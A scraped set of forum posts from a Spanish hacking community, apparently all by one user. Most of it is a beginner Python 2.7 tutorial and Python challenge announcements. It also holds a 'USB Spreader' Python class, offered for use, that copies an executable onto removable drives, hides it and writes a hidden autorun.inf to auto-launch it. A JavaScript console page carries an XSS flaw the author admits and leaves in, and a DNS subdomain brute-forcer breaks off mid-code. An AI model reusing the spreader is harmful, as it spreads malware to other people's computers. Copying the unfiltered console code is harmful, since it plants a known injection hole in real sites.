    - Interpretado: Todo lo que nosotros escribamos será ejecutado por medio de un intérprete, en contraste con los lenguajes compilados (C, C++, C#, Visual Basic, Delphi, etcétera) que son ejecutados por medio de un compilador (a leer!).

    - Multiparadigma: No tenemos que programar así o asá, sino que tenemos varios estilos para elegir (programación orientada a objetos, programación imperativa y, en menor medida, programación funcional).

    - Multiplataforma: Podemos ejecutar nuestros scripts en cualquier plataforma (GNU/Linux, Microsoft Windows, Mac OSX, etcétera) siempre y cuando tengamos nuestro intérprete instalado y configurado.

    - Interactivo: Podemos ejecutar sentencias desde la línea de comandos y ver qué nos responde el intérprete (nos ayuda mucho para comprender mejor el lenguaje y, principalmente, al momento de programar, permitiéndonos probar segmentos específicos de nuestro código, en busca de errores).

Existen muchas otras características como tipado dinámico, resolución dinámica de nombres, conteo de referencias, facilidad de extensión y demás. No es necesario que las veamos ahora, razón por la cual las dejo para que investiguen por su propia cuenta.



Instalando Python


Lo primero que debemos mencionar es la versión de python que vamos a utilizar a lo largo del taller. Actualmente existen 2 versiones principales: 2.7.8 y 3.4.1. Nosotros vamos a utilizar la primera (Python 2.7).

1). GNU/Linux. Generalmente ya viene instalado por defecto. En caso contrario, su instalación se puede realizar simplemente desde la consola. Para ello, escribimos:

Code: (bash) You are not allowed to view links. Register or Login
wget https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz -O - | tar -x
O si tenemos curl:

Code: (bash) You are not allowed to view links. Register or Login
curl https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz | tar -x
Con esto conseguimos descargar y descomprimir el código fuente. A continuación, procedemos a configurar e instalar python:

Code: (bash) You are not allowed to view links. Register or Login
cd Python-2.7.8
./configure
make
sudo make install

En el caso anterior, debemos ejecutar los comandos de manera secuencial y resolver los errores que eventualmente nos puedan surgir. Una vez finalizado, podremos comprobar que la instalación ha sido exitosa simplemente escribiendo lo siguiente:

Code: (bash) You are not allowed to view links. Register or Login
python
Lo cual nos abrirá la consola interactiva de python de la cual estuvimos hablando al principio del taller:



2). Windows. Aquí el asunto es un poco más simple. Descargamos el archivo de instalación desde alguno de los siguientes enlaces, según corresponda: You are not allowed to view links. Register or Login / You are not allowed to view links. Register or Login y con un doble click sobre el mismo comenzamos la instalación. Como siempre, aceptar, aceptar y aceptar hasta finalizar el proceso. Pero cuidado! Para simplificar aún más las cosas deberemos prestar atención. En la pantalla titulada “Customize Python 2.7.8” deberemos marcar la opción “Add python.exe to Path”. Con ello añadimos el archivo python.exe al path de Windows y nos ahorramos unos pequeños problemitas:



(La imagen muestra la instalación de la versión 3.3.2 pero nos sirve igual)

Para finalizar, abrimos el Procesador de comandos de Windows (cmd.exe) y, al igual que en Linux, escribimos:

Code: (dos) You are not allowed to view links. Register or Login
python
Nuevamente, si todo anduvo bien, estaremos iniciando una charla con nuestro querido amigo, el intérprete.



Listo! Ya tenemos preparado nuestro entorno de desarrollo en ambos sistemas operativos. Sólo nos queda hacer un programa y ver qué sucede con todo esto.
A descansar 5 minutos que una vez que arranquen a programar no van a poder detenerse ;)


Mi primer programa en Python

Si esta no es tu primera experiencia con un lenguaje de programación, seguro ya te irás imaginando qué tipo de aplicación estamos a punto de “desarrollar”. Exacto, qué otra cosa podía ser más que el clásico de los clásicos: el tan famoso “Hola mundo”.

Para aquellos que no entienden nada de lo que estoy hablando, les explico de forma muy concisa en que consiste este loco rito que acabamos de mencionar. Simplemente, lo que hacemos es crear una sencillísima aplicación que no hace más que imprimir en pantalla el mensaje “Hola mundo!”.

Pero… si es tan simple y, por lo visto, tan poco útil, ¿por qué tanta importancia? Simple. Lo que realmente nos importa de todo esto es realmente el código. En él vamos a poder ver muchas características del lenguaje que estemos utilizando. En nuestro caso, por ejemplo, ya veremos que el código se puede escribir de varias formas, lo cual nos permite constatar la capacidad multiparadigmática de python que mencionamos al principio.

Por otro lado, un “Hola mundo” nos permite rápidamente comprobar que tenemos todo nuestro entorno de desarrollo perfectamente configurado y funcionando.

Finalmente este programa es considerado fundamental desde el punto de vista didáctico, ya que ilustra rápidamente al principiante la sintaxis más básica del lenguaje de programación que está a punto de aprender.

Como dije anteriormente, existen varias formas de hacer nuestro “Hola Mundo” en python. Sin embargo, por ahora haremos lo más simple. A medida que vayamos conociendo más el lenguaje, veremos cuáles son esas otras alternativas que dejamos escapar en este momento.

Lo primero que vamos a hacer es abrir nuestro editor de texto plano favorito (en mi caso, sublime text). Una vez allí, escribimos el siguiente código:


Muy bien. Ahora sólo queda guardar nuestro archivo con el nombre “holaMundo.py” y listo.


Por último, probaremos ejecutarlo para ver si funciona. Para ello, abrimos una consola de comandos, nos dirigimos al directorio donde se encuentre nuestro script y escribimos lo siguiente: “python holaMundo.py”. Si el resultado fue un “Hola Mundo!” en la siguiente línea de la terminal, entonces, felicitaciones!! Acabas de crear tu primer programa 100% funcional en python!!



Vayamos ahora a las entrañas de este misterioso código y veamos qué significan esas palabritas, hasta ahora, sin sentido.

Lo primero que vemos es la palabra clave “print”. Si traducimos esta palabra inglesa al español, entonces vemos que su significado no es más ni menos que “imprimir”.


Code: (text) You are not allowed to view links. Register or Login
print = imprimir
Con esta declaración lo que logramos es imprimir en pantalla la expresión que sigue a continuación.

En nuestro caso, la expresión que le continúa es “Hola Mundo!” con las comillas incluidas (ya veremos más adelante que significan esas comillas; por ahora quedémonos con la idea de que las comillas le dicen a print cuál es el mensaje que queremos mostrar al usuario).

Entonces, lo que nuestro pequeño código significa es simplemente: imprimir en pantalla el mensaje “Hola Mundo!”.

No era tan difícil, ¿no? A continuación, profundizaremos un poquito más para ver cómo hacemos de éste un programa algo más flexible e interactivo.


Variables

Vamos a comenzar ahora con un tema que nos abrirá muchas posibilidades a la hora de programar. Es que no hay mucho que podamos hacer sin ellas, las variables. Para los que no saben a qué me refiero, voy a tratar de explicarlo sencillamente.

Aclaración: Lo que estamos por ver no es más que una aproximación o introducción a este extenso tema. Existen muchos puntos que dejaremos fuera por el momento. Más adelante, una vez que nos adentremos en el mundo de la programación orientada a objetos (POO), estudiaremos a fondo cada uno de los tópicos que hoy trataremos.

1). Qué es una variable. Las variables son como cajas que nos permiten almacenar información en su interior. En ellas podemos guardar lo que sea: números, textos, listas, diccionarios, objetos, etcétera (ya veremos qué son concretamente estos elementos).

Pero, obviamente, necesitamos rotular estas cajas para poder identificarlas fácilmente y no confundirlas. Es decir, las variables tienen un nombre que las distinguen entre sí.

Conclusión: una variable...
    - es un espacio de memoria (la caja)
    - nos sirve para almacenar un valor (un tipo de dato)
    - tiene un nombre o etiqueta (identificador)

2.) Cómo crear una variable. En ciertos lenguajes primero debemos indicar el nombre de la caja y el tipo de información que va a almacenar (lo cual se denomina declaración) y, a continuación, indicamos cuál va a ser el contenido de la misma (esto es la definición). Esto no es tan así, ya que podemos declarar y definirlas al mismo tiempo, pero no viene al caso.

En python las cosas son un poquito más automáticas. No hace falta declarar las variables antes de definirlas. Simplemente les asignamos un valor y listo. El intérprete se encarga de identificar el tipo de dato almacenado. Esta es una de las características de python nombradas al principio del taller y se denomina tipado dinámico.

Para crear una variable debemos escribir lo siguiente:


Code: (python) You are not allowed to view links. Register or Login
miVariable = valor
Como ven, es muy similar a matemáticas. A la izquierda el nombre de la variable y a la derecha el valor (tipo de dato) a asignar. El signo igual que estamos utilizando se denomina operador de asignación (ya veremos más adelante que existen unos cuantos operadores más).

Existe otra forma de asignación, un poco más compleja, denominada asignación múltiple. No la vamos a explicar todavía pero te invito a investigar por tu cuenta y experimentar un poco.

3). Tipos de datos. Si bien no es necesario indicárselo al intérprete, debemos conocer los tipos de datos soportados por python, de lo contrario, no llegaremos muy lejos.

Si bien existen varios tipos de datos, no hace falta nombrarlos a todos en este momento.

A continuación, nombraremos los más importantes para, luego, profundizar en cada uno de ellos:



Existen otros tipos de datos que iremos viendo en los próximos talleres. Por ahora, con esto será más que suficiente.

Muy bien, comencemos:

    A. Datos tipo str. Estos son valores de tipo alfanuméricos, es decir, son cadenas de números, letras y muchos otros símbolos  (str es una abreviatura de string que, traducido al español, significa cadena) delimitadas por comillas dobles (“”) o simples (‘’).

Si hacemos memoria, veremos que este es el tipo de dato utilizado en nuestro primer programa (“Hola Mundo!”, se acuerdan?).

Los datos tipo alfanuméricos pueden ocupar una o más líneas pero deberemos conocer algunos detalles para evitar cometer errores: si la información se encuentra delimitada sólo por una comilla entonces deberemos ocupar sólo una línea.



Para poder ocupar varias líneas debemos hacerlo con 3 comillas, dobles o simples:


Más adelante veremos que no es necesario utilizar tres comillas para ocupar varias líneas. Como adelanto, les digo que vayan investigando acerca de los códigos de escape (el código de escape “\n” nos permite ocupar varias líneas, a pesar de utilizar sólo una comilla).

Muy bien, antes de terminar con los datos tipo str, me gustaría hacer una pequeña pero importante aclaración: ¡Cuidado con los números!

Un número delimitado por comillas será considerado un valor de tipo str. Para que nuestro número sea considerado como tal deberemos escribirlo sin comillas.



    B. Datos tipo int. A este grupo pertenecen aquellos datos numéricos de tipo entero, incluyendo al cero y a los números negativos (int es la abreviatura de integer que, traducido al español, significa entero).

El espectro de números no es infinito. Ya veremos más adelante cómo determinar ese límite y a quién pertenece el espectro de números que sigue.

Un ejemplo de este tipo de dato es el que vimos en la última imagen (el uno que almacenamos en la variable llamada “intVar”).

    C. Datos tipo float. La palabra float hace referencia a los floating point numbers, es decir, a los números de punto o coma flotante (¿¡los qué!?). Wikipedia les puede dar una buena explicación pero si no quieren complicarse, entonces quédense con esto: si uno agarra una calculadora y escribe cinco dividido dos el resultado tiene dos representaciones: como número racional (es decir, dos quintos: 2/5) o como número de coma flotante (es decir, dos coma cinco: 2,5).

Conclusión, el número de coma flotante es, ni más ni menos, que una representación de un número racional.



Es importante aclarar que python interpretará al número con coma como un dato de tipo float, incluso a pesar de que sea un número entero (1.0 no es lo mismo que 1, ¿se entiende?).



    D. Datos tipo tuple. Se denomina tupla (traducción al español de tuple) a una secuencia ordenada y limitada de objetos. ¿Qué significa esto? Para entenderlo, veamos un poco los orígenes de este término.

Todo comienza cuando unos matemáticos que no tenían otra cosa que hacer aplicaron el método inductivo sobre cierto conjunto de palabras. Dichas palabras eran: dupla, tripla, cuádrupla, quíntupla, etcétera.

Los tipos se preguntaban qué nombre genérico podían darle a este conjunto. Pensaron, aportaron ideas, las desecharon y volvieron a pensar. Así, hasta que uno de ellos dijo: Si hablamos de 5 objetos, se llama quíntupla; si son 6, séxtupla; 7, séptupla. Si generalizamos, podemos llamarlos 5-tupla, 6-tupla y 7-tupla, respectivamente. Si generalizamos más, podemos decir n-tupla, donde n es el número de objetos que contiene la tupla. Y así es como surgió esta interesante denominación.

Bueno, sí. Era innecesaria la historia jeje. Pero al menos sacamos 2 cosas de ella (o 3, qué se yo). Primero, las tuplas contienen una cantidad limitada de objetos (n nos dice que la tupla es finita). Segundo,  los objetos están ordenados de una forma determinada (eso no lo dice la historia pero no importa!). Tercero, los matemáticos se la pasan estudiando cosas sin sentido que, de una forma u otra (ni sé cómo), llegan a tener mucha importancia en nuestras vidas (¿?).

Muy bien. Por último vamos a decir algo muy importante. Las tuplas son inmutables. Esto significa que una vez creada la tupla, es imposible modificarla. ¿Clarito?

Para crear una tupla no hace falta mucho: sólo dos paréntesis (uno de apertura y otro de cierre) y comas (,) para separar los objetos entre sí.

En cuanto al contenido, puede ser cualquier cosa (menos plata! eso no lo pueden hacer, no se dejen engañar). Pero, ¿entonces puedo guardar una tupla dentro de otra tupla? Exactamente! Dentro de ellas puedes guardar cualquiera de los tipos de datos que estamos viendo y mucho más. Es hora de hacer volar tu imaginación y diseñar posibles programas para codear más adelante, a la par del próximo taller.



Como ven en la imagen, primero creamos tres variables que contienen los primeros tres tipos de datos que vimos. Luego, creamos 3 variables más: las primeras dos (miTupla y otraTupla) son tuplas que contienen a las primeras variables. La última (tuplaDeTuplas) es una tupla que contiene a las otras dos tuplas.

Si prestan atención, verán que miTupla y otraTupla presentan el mismo contenido. Sin embargo, no hay que caer en el error de afirmar que son iguales. Como dijimos al principio, el orden de los objetos es importante. Tanto que estas dos tuplas serían iguales de no ser por esta característica.

    E. Datos tipo list. Las listas (no voy a aclarar que lista es la traducción al español de list :P) son muy parecidas a nuestras queridas tuplas. Difieren de ellas en los siguientes aspectos:

        a.   No surgen del ocio de los matemáticos.

        b.   Son mutables (sí, podemos modificar su contenido una vez creada la lista).

        c.   El contenido es delimitado por corchetes (y no por paréntesis).

        d.   Muchas otras cosas que dejaremos para más adelante (las veremos cuando comencemos con la POO).

De lo antedicho, y si aplicamos el famoso método hipotético-deductivo, podemos obtener más información de las listas:

        a.   Son una secuencia ordenada y limitada de datos.

        b.   Pueden contener cualquier tipo de dato.

        c.   Los objetos se separan unos de otros por comas.

Bueno, basta de cháchara y a la acción:




    F. Datos tipo dict. Los diccionarios son, al igual que las tuplas y las listas, un conjunto limitado de datos. Pero hay 2 términos que no estamos incluyendo en esta definición: ordenado y secuencial. Es que, de hecho, si hay algo que no le interesa al diccionario de python es preocuparse por un orden y una secuencia. Pero, ¿por qué? Es que los diccionarios no son más que un conjunto no ordenado de pares clave: valor.

Para entenderlo, hagamos una analogía con un diccionario de idiomas. Si quisiéramos saber qué significa una palabra determinada (por ejemplo, python), debemos buscar dicha palabra (clave) para luego ver su significado (valor).

Así es cómo hacen los diccionarios de python para organizar los datos que almacenamos en ellos.

Al igual que con las tuplas y las listas, los valores pueden ser cualquier tipo de dato. Las claves, en cambio, sólo pueden ser objetos inmutables (incluyendo a las tuplas, siempre y cuando no contengan objetos mutables).

Por último, vamos a ver cómo hacer un diccionario (al igual que con los anteriores, dejamos afuera mucha información; ya veremos todo con POO):

    - Los objetos deben estar delimitados por corchetes ({}) y separados por comas (,).

    - Las claves y los valores se asocian por medio de dos puntos ( : ); el objeto de la izquierda es la clave y el de la derecha, el valor.



En la imagen anterior podemos ver que miDic y otroDic presentan el mismo contenido pero en diferente orden. A diferencia de lo que sucedió en el caso de las listas y las tuplas, estos dos diccionarios sí son iguales. Recuerden: como hemos dicho al principio, al diccionario no le interesa el orden de los objetos.

    G. Datos tipo bool. Los datos booleanos son aquellos que pueden representar valores de lógica binaria, es decir, 2 valores (verdadero o uno y falso o cero).

En python, estos datos están representados de muchas formas pero principalmente con 2 palabras clave: true y false (en sí, ambas son simples variables que almacenan los valores booleanos 1 y 0, respectivamente).

En términos generales, podemos decir que todos los datos son verdaderos, a excepción del cero (0 y 0.0), los datos vacíos (“”, (), [] y {}) y el NoneType.

Los datos booleanos son importantísimos en informática y, por ende, para nosotros: los programadores. Ya veremos más adelante cómo utilizarlos.

    H. Datos tipo NoneType. Este tipo de dato denota la falta de valor (none significa, traducido al español, ninguno) pero, en realidad, esto no es así. De hecho, los datos NoneType presentan y sólo pueden presentar un único valor: None.

Es elemental que comprendan esta diferencia: los datos NoneType no carecen de valor, sino que sí lo tienen, y sólo puede ser uno.

A partir de esto, uno se preguntará, ¿qué utilidad podemos darle a un dato que no se puede modificar y que no nos aporta ningún tipo de información? Fácil. En python, no podemos iniciar una variable sin asignarle un valor. Tampoco podemos, en las listas, asignar un valor a un offset que no ha sido creado aún. Por último, lo mejor: ninguno de estos ejemplos es cierto debido a que None nos permite hacerlo.

Veamos cómo:



Como podemos ver, la variable varVacia será de tipo NoneType. Gracias a None podemos iniciar la variable “sin tener que definir su tipo” (lo pongo entre comillas porque, a pesar de su nombre, None es algo: no es realmente nada, sino que es un objeto).

En cuanto a la variable miLista, el resultado será una lista con cuatro offsets ocupados por objetos None. Esto es casi lo mismo que decir que son 4 lugares vacíos, listos y a la espera de ser ocupados.


Mejorando nuestro “Hola Mundo!”

Cada vez que nos encontramos frente a una computadora, cualquiera que sea, podemos ver que cuenta una característica o cualidad fundamental: la capacidad de interactuar. Es que, de hecho, serían muy poco útiles si no contaran con dicho atributo. Si queremos que nuestros programas sean útiles y flexibles, debemos darles la capacidad de interactuar con el usuario.

Llamamos input a la información que el usuario suministra a la máquina y output a la información que la computadora transmite al usuario.

Ya vimos un ejemplo de output: la declaración print. Es decir, ya sabemos cómo hacer que la computadora muestre información por medio del monitor. Ahora sólo nos resta ver cómo podemos hacer para pasarle información a nuestros programas.

En python 2.7 existen 2 declaraciones para introducir información por medio del teclado: input y raw_input, para introducir números (int) y texto (str), respectivamente.

Veamos un ejemplo para entenderlo rápidamente.



Como vemos en la imagen, input nos sirve para ingresar datos de tipo int, mientras que raw_input, para ingresar datos de tipo str. De aquí surgen 2 cuestiones. Primero, si quisiéramos utiliza input para ingresar letras, se generaría un error. Por el contrario, el hecho de ingresar números al utilizar raw_input no genera ningún tipo de error pero debemos tener en cuenta que el dato ingresado no será de tipo int sino str (será el número con comillas).

Muy bien, ahora que ya sabemos cómo pasarle datos a nuestro programa y hacer que éste nos imprima texto en pantalla, es tu turno de mejorar nuestro primer programa, de forma tal que nos permita interactuar con el usuario e imprimir la información suministrada por el mismo.

La tarea es hacer un programa que pida el nombre y la edad al usuario para luego imprimir el siguiente texto:


“Hola (nombre)!! Tienes (edad) años”

Hay algunas cositas que van a andar mal pero es, simplemente, porque no lo hemos visto aún. No se preocupen. Tranquilos que ya vamos a llegar.

Por último, si les funciona el programa anterior, les dejo un último desafío: creen una variable con la edad del programa y e impriman la diferencia de edad (del programa y del usuario) en pantalla. Complicadito jeje.

Ahora sí me despido. La solución en el próximo número, con muchísimo más python y ejercitación.

Saludos!


You are not allowed to view links. Register or Login



P.D.: El tutorial que acabo de presentar iba a formar parte de los talleres oficiales de python pero, por error, escribí acerca de temas que ya habían sido tratados en las primeras dos entregas. Con esto quiero decir 2 cosas: primero, esta guía no pertenece a los talleres de underc0de y, segundo, todavía tengo pendiente la creación de una entrega oficial que se hará pública en los próximos días. En ella trataremos nuevos temas que nos permitirán comenzar con lo mejor del taller: la creación de herramientas orientadas al hacking.

Saludos!
WhiZ

12
Front-end / Consola Interactiva (básica)
« on: August 29, 2014, 05:57:42 pm »
Hola gente! Cómo les va? Hoy les vengo con un poco de código web. Por cuestiones que no vienen al caso, hoy se me ocurrió incorporar una especie de consola interactiva a mi página web. Después de pensarlo un rato, siendo que iba a ser una consola simple, decidí hacerlo con js.

Primero les dejo una imagen y luego les paso el código.



Muy simple como ven...

Ahora los códigos.

shell.html
Code: (html) You are not allowed to view links. Register or Login
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Interactive shell</title>
<link rel="stylesheet" type="text/css" href="style.css" />
<script type="text/javascript" src="functions.js"></script>
<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js?ver=1.4.2'></script>
</head>
<body onload="createPrompt()">
<div class="shell" id="shell"></div>
</body>
</html>

style.css
Code: (css) You are not allowed to view links. Register or Login
div.shell {
border:3px solid;
width:1000px;
height:300px;
background-image:url(http://mcflashfun.com/files/theme/header-footer-bg.jpg?10692);
font-family:monospace;
overflow:auto;
}

p, ul{
color:#999;
}

span {
font-weight:bold;
}

span.prompt_inicial {
color:#9AFE2E;
}

span.prompt_final {
color:#199;
}

input.cmd {
background-color:transparent;
border:0px solid;
font-family:monospace;
color:#999;
}

functions.css
Code: (javascript) You are not allowed to view links. Register or Login
var prompt = '<p class="prompt">\
<span class="prompt_inicial">[email protected]:</span>\<span class="prompt_final">~# </span>\
<input class="cmd" id="active_cmd"type="text" maxlength="20" onkeypress="runCmd(event)"/>\
</p>'

function createPrompt() {
    $("#active_cmd").attr( "id", "inactive_cmd" );
$(".shell").append(prompt);
$("#active_cmd").focus();
}

function ayuda() {
var ayuda = "<p>Utiliza alguno de los siguientes comandos para ver informaci&oacute;n adicional:\
<ul>\
<li>ayuda</li>\
<li>info</li>\
<li>aplicaciones</li>\
<li>limpiar</li>\
</ul>\
</p>"
$(".shell").append(ayuda);
}

function info() {
$(".shell").append("<p>info</p>");
}

function aplicaciones() {
$(".shell").append("<p>aplicaciones</p>");
}

function limpiar() {
$(".shell").html("");
}

function error(text) {
var error = "<p>'" + text + "' no se reconoce como un comando.</p>"
$(".shell").append(error);
}

function runCmd(e) {
    if (e.keyCode == 13) {
var text = $("#active_cmd").val();

if (text == "ayuda") {
ayuda();
} else if (text == "info") {
info();
} else if (text == "aplicaciones") {
aplicaciones();
} else if (text == "limpiar") {
limpiar();
} else if (text == "") {
} else {
error(text);
}

createPrompt();
    }
}

Por último, quería pedir disculpas a aquellos que la tienen clara con desarrollo web y que probablemente tengan que ver unos cuantos errores imperdonables jeje. Bueno, algún día (espero) voy a mejorar :)

Espero que le sirva a alguno como base para hacer algo copado.

Saludos!
WhiZ

P.D.: Algo importante. Tiene XSS pero ni ganas de hacer el filtro. Si alguno tiene ganas, adelante jeje.

13
Python / USB Spreader
« on: June 09, 2014, 11:45:13 pm »
Hola gente! Motivado por el código expuesto por 0b3Y en You are not allowed to view links. Register or Login, me decidí a crear una clase Spreader en python que cumpla con dicha función.

Sin más, aquí el código:

Code: (python) You are not allowed to view links. Register or Login
import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):    # path debe ser absoluto
        print " [*] Checking information"

        self.filename = path.split("\\")[-1]
        self.driveFilename = self.filename
       
        if not self.driveFilename.startswith("~"):
            self.driveFilename = "~" + self.driveFilename

        print "\t- Local filename: " + self.filename
        print "\t- Driver filename: " + self.driveFilename
       
        self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

        print "\t- Full path: " + self.path

        print "\n [*] Getting removable drives"
        self.drives = self.__getRemovableDrives()

        if len(self.drives) == None:
            print " [-] No removable drives available"
            sys.exit()

        for drive in self.drives:
            print "\t- " + drive

        print "\n [*] Spreading"
        self.__spread()

        print "\n [+] Successfully spread"

    def __getRemovableDrives(self):
        removableDrives = []
        drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

        for drive in drives:
            driveType = win32file.GetDriveType(drive)
           
            if driveType == win32file.DRIVE_REMOVABLE:
                removableDrives.append(drive)
               
        return removableDrives

    def __spread(self):
        for drive in self.drives:
                       
            if drive == "A:\\":
                continue
           
            else:

                driveFile = drive + self.driveFilename
                driveAutorun = drive + "autorun.inf"

                print " [+] " + drive
           
                if not os.path.exists(driveFile):
                    self.__copyFile(driveFile)
                   
                if not os.path.exists(driveAutorun):
                    self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
        print "\t- Copying file: " + self.driveFilename,
        win32file.CopyFile(self.path, driveFile, 0)
        print "\t\t\tDONE"

        print "\t- Hidding file",
        win32api.SetFileAttributes(driveFile,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"

    def __createAutorun(self, driveAutorun):
        print "\t- Creating autorun.inf",
        autorun = open(driveAutorun, "w")
        content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
[email protected]{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
        autorun.write(content)
        autorun.close()
        print "\t\t\tDONE"

        print "\t- Hidding autorun",
        win32api.SetFileAttributes(driveAutorun,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"

Mañana actualizo el code (me falta manejo de errores). También le voy a añadir la opción verbose para que la salida no sea obligatoria.
Por último, falta añadir la opción de importar el contenido del autorun.

Espero que les guste.

Saludos!
WhiZ

14
Zona Webmaster / Mejor editor web para GNU/Linux
« on: May 26, 2014, 09:52:34 am »

Mejor Editor Web
para GNU/Linux

Buenas! Cómo están? Los que me conocen seguro se asombren de verme por estos lados (sección de programación web), es por eso que voy a explicar a qué se debe la creación de esta encuesta.

La cuestión es que hace unos días decidí mejorar mis conocimientos básicos de javascript y php y, teniendo en cuenta que me manejo casi exclusivamente con GNU/Linux, entonces no tuve más opción que buscar una buena alternativa al tan famoso Dreamweaver de Adobe (no me gusta wineizar :P ).

Así es que en medio de esta búsqueda me encontré con un editor que si bien es sencillo (ni se acerca a Dreamweaver) me gustó mucho (principalmente porque brinda una comodidad de trabajo muy similar a la del Sublime Text). Este editor se llama You are not allowed to view links. Register or Login (a continuación les dejo una captura).


Como verán, este post tiene 2 objetivos: promocionar este editor y ver cuál es la opinión de los que trabajan todos los días con aplicaciones de este tipo (que son los que realmente saben cuál es el mejor editor).

Sé que faltan más editores pero sólo puedo poner 5 opciones. Dejé el campo "Otros" para que cada uno postee algún editor alternativo a la lista.

Espero su participación.

Saludos!
WhiZ

15
Python / [TPC-C] #2 Cifrado de Vigenère
« on: February 16, 2014, 12:38:48 pm »
The Python Challenges
Nº 2 Cifrado de Vigenére
Criptografía



Objetivo:


Programar las funciones necesarias que permitan codificar y decodificar un mensaje usando el Cifrado de Vigenére, teniendo en cuenta los siguientes aspectos:

  • La salida debe ser en minúsculas.
  • Se deben respetar los caracteres no alfabéticos.
  • No se tiene en cuenta la letra ñ.


La fecha máxima de entrega es para el Domingo 23 de Febrero. Los códigos deben ser enviados por mp al moderador de la sección (You are not allowed to view links. Register or Login)  y a You are not allowed to view links. Register or Login.

Los criterios de evaluación son los mismos establecidos en You are not allowed to view links. Register or Login.

Sólo se tendrá en cuenta el último código recibido hasta el 23 de Febrero. Los códigos no deben ser publicados bajo ninguna circunstancia; de lo contrario, el usuario será descalificado del reto, sin excepción.


Enlaces de ayuda:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


Nota: Todas las dudas acerca del reto, deberán realizarse en este mismo hilo.

16
Python / The Python Challenges
« on: January 20, 2014, 07:02:35 pm »


Hola a toda la comunidad! Tenemos el agrado de comunicarles que en breve daremos inicio a una serie de retos que hemos organizado y vamos a ir realizando periódicamente.

Por cada serie se indicara una temática determinada y, en base a ella, se crearan 5 a 6 retos, de menor a mayor complejidad, los cuales deberán resolverse aplicando los conocimientos en Python y teniendo en cuenta los criterios de evaluación oportunamente indicados para cada caso.

Normas y Reglas Generales

Acerca de las series: Como se dijo anteriormente, este proyecto consta de múltiples series, cada una de las cuales presentará una temática-eje que nos permitirá adquirir conocimientos cada vez más avanzados, tanto de Python como de la temática en cuestión.

Una vez presentada una serie, se procederá al lanzamiento progresivo de cada uno de sus retos, siempre y cuando se cuente un mínimo determinado de participantes. Es por ello que inicialmente se establecerá un lapso de tiempo para la inscripción y, una vez concluido el mismo, se dará inicio de forma oficial al reto correspondiente.

Hasta el momento, la inscripción se realizará por medio de este hilo. Aquellos interesados en participar sólo deberán poner aquí la temática y el reto que les interesa (por ej., "Criptografía, reto N° 1").

Método de evaluación: En cada caso, se tendrán en cuenta los siguientes criterios:

    - Portabilidad: serán mejor calificados los códigos multiplataforma.

    - Número de librerías utilizadas: será mejor la calificación mientras menos librerías se requieran para cumplir el o los objetivos.

    - Legibilidad: a la hora de evaluar, también consideraremos las normativas establecidas por la You are not allowed to view links. Register or Login.

    - Eficacia: en este punto evaluaremos funcionamiento, manejo de errores, velocidad de ejecución, etc.


PRIMERA SERIE

Temática: Criptografía.

Reto N° 1: Cifrado César (inscripción cerrada).

    - Participantes:
  • saqra
  • AΞRCRΞA
  • deni_celine
  • Sanko
  • [C]orrupted[ B]yte
  • rezyckller
  • 79137913

You are not allowed to view links. Register or Login

Reto N° 2: Cifrado Vigenere
  • 79137913
  • deni_celine
  • saqra
    - Cierre de inscripción: Viernes 14/02

You are not allowed to view links. Register or Login

Adelante, Anímense!

17
Python / DNSMap
« on: December 24, 2013, 03:43:21 pm »
Hola gente! Hace unos días estaba leyendo un poco del protocolo DNS y los ataques que existen para el mismo, y hoy me puse a codear este programita que nos permite realizar un ataque de diccionario para hacer un mapeo DNS.

Aquí el código.
Code: (python) You are not allowed to view links. Register or Login
# -*- coding: cp1252 -*-

from time import sleep
from urllib2 import urlopen, HTTPError
from sys import argv

class DNSMap(object):
    def __init__(self, dns, wordlist, delay, verbose):
        self._dns = dns
        self._wordlist = wordlist
        self._delay = delay
        self._verbose = verbose

        print "\nStarting Dictionary Attack"
        self._urlMaker()

    def _urlMaker(self):
        f = open(self._wordlist, "r")
        if self._verbose == False:
            print "\nWorking now! Please wait...\n"
        while True:
            try:
                line = f.readline().replace("\n", "")
                if len(line) == 0:
                    break
                url = "http://" + line + "." + self._dns
                self._urlTester(url)
                sleep(self._delay)
            except Exception as e:
                print e
                break
        f.close()

    def _urlTester(self, url):
        if self._verbose == True:
            print "\n[*] Checking for: " + url
        try:
            result = urlopen(url)
            if result.code == 200:
                print "[+] " + url
        except HTTPError as e:
            print "[+] %s [%s]" % (url, e.getcode())
        except Exception as e:
            if self._verbose == True:
                print "[-] ERROR: " + str(e)

logo = """
 /$$$$$$$  /$$   /$$  /$$$$$$  /$$      /$$                   
| $$__  $$| $$$ | $$ /$$__  $$| $$$    /$$$                   
| $$  \ $$| $$$$| $$| $$  \__/| $$$$  /$$$$  /$$$$$$   /$$$$$$
| $$  | $$| $$ $$ $$|  $$$$$$ | $$ $$/$$ $$ |____  $$ /$$__  $$
| $$  | $$| $$  $$$$ \____  $$| $$  $$$| $$  /$$$$$$$| $$  \ $$
| $$  | $$| $$\  $$$ /$$  \ $$| $$\  $ | $$ /$$__  $$| $$  | $$
| $$$$$$$/| $$ \  $$|  $$$$$$/| $$ \/  | $$|  $$$$$$$| $$$$$$$/
|_______/ |__/  \__/ \______/ |__/     |__/ \_______/| $$____/
                                                     | $$     
                                                     | $$     
                                                     |__/
                                                     """

usage = """Usage: python DNSMap.py <target-domain> [options]

Options:
-w <wordlist-file>
-d <delay-millisecs>
-v <verbose mode>"""

about = """DNSMap v1.0.13.24.12 - DNS Network Mapper by WhiZ (underc0de.org)
"""

def parser():
    if len(argv) < 4:
        print about
        print usage
        exit()
    # dns
    if argv[1] == "-w" or argv[1] == "-d" or argv[1] == "-v":
        print about
        print usage
        exit()
    else:
        dns = argv[1]
        try:
